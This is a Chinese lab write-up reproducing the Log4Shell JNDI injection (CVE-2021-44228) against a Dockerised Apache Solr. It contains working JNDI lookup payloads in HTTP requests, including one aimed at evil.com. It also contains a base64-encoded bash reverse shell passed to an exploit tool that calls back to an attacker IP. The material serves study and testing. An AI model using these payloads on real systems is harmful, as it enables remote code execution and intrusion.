Apache Log4j2 lookup JNDI 注入漏洞(CVE-2021-44228)


Apache Log4j 2 是Java语言的日志处理套件,使用极为广泛。在其2.0到2.14.1版本中存在一处JNDI注入漏洞,攻击者在可以控制日志内容的情况下,通过传入类似于${jndi:ldap://evil.com/example}的lookup用于进行JNDI注入,执行任意代码。

参考链接:

  • https://logging.apache.org/log4j/2.x/security.html
  • https://www.lunasec.io/docs/blog/log4j-zero-day/
  • https://xz.aliyun.com/t/10649

漏洞环境

Apache Log4j2 不是一个特定的Web服务,而仅仅是一个第三方库,我们可以通过找到一些使用了这个库的应用来复现这个漏洞,比如Apache Solr。

执行如下命令启动一个Apache Solr 8.11.0,其依赖了Log4j 2.14.1:

docker-compose up -d

服务启动后,访问http://your-ip:8983即可查看到Apache Solr的后台页面。

漏洞复现

${jndi:dns://${sys:java.version}.example.com}是利用JNDI发送DNS请求的Payload,我们将其作为管理员接口的action参数值发送如下数据包:

GET /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.example.com} HTTP/1.1
Host: your-ip:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close


实际利用JNDI注入漏洞,可以使用这个工具

使用方法

  1. java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljc1LjE1MC85OTk5IDA+JjE=}|{base64,-d}|{bash,-i}" -A 192.168.75.150
  2. -C 参数接的是执行的命令
  3. -A 是VPS-ip

这个工具会同时监听http、ldap与rmi,并生成payload

反弹Shell成功(提前开启监听)

GET /solr/admin/cores?action=${jndi:rmi://192.168.75.150:1099/nz9ar3} HTTP/1.1
Host: 192.168.75.130:8983
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36
Connection: close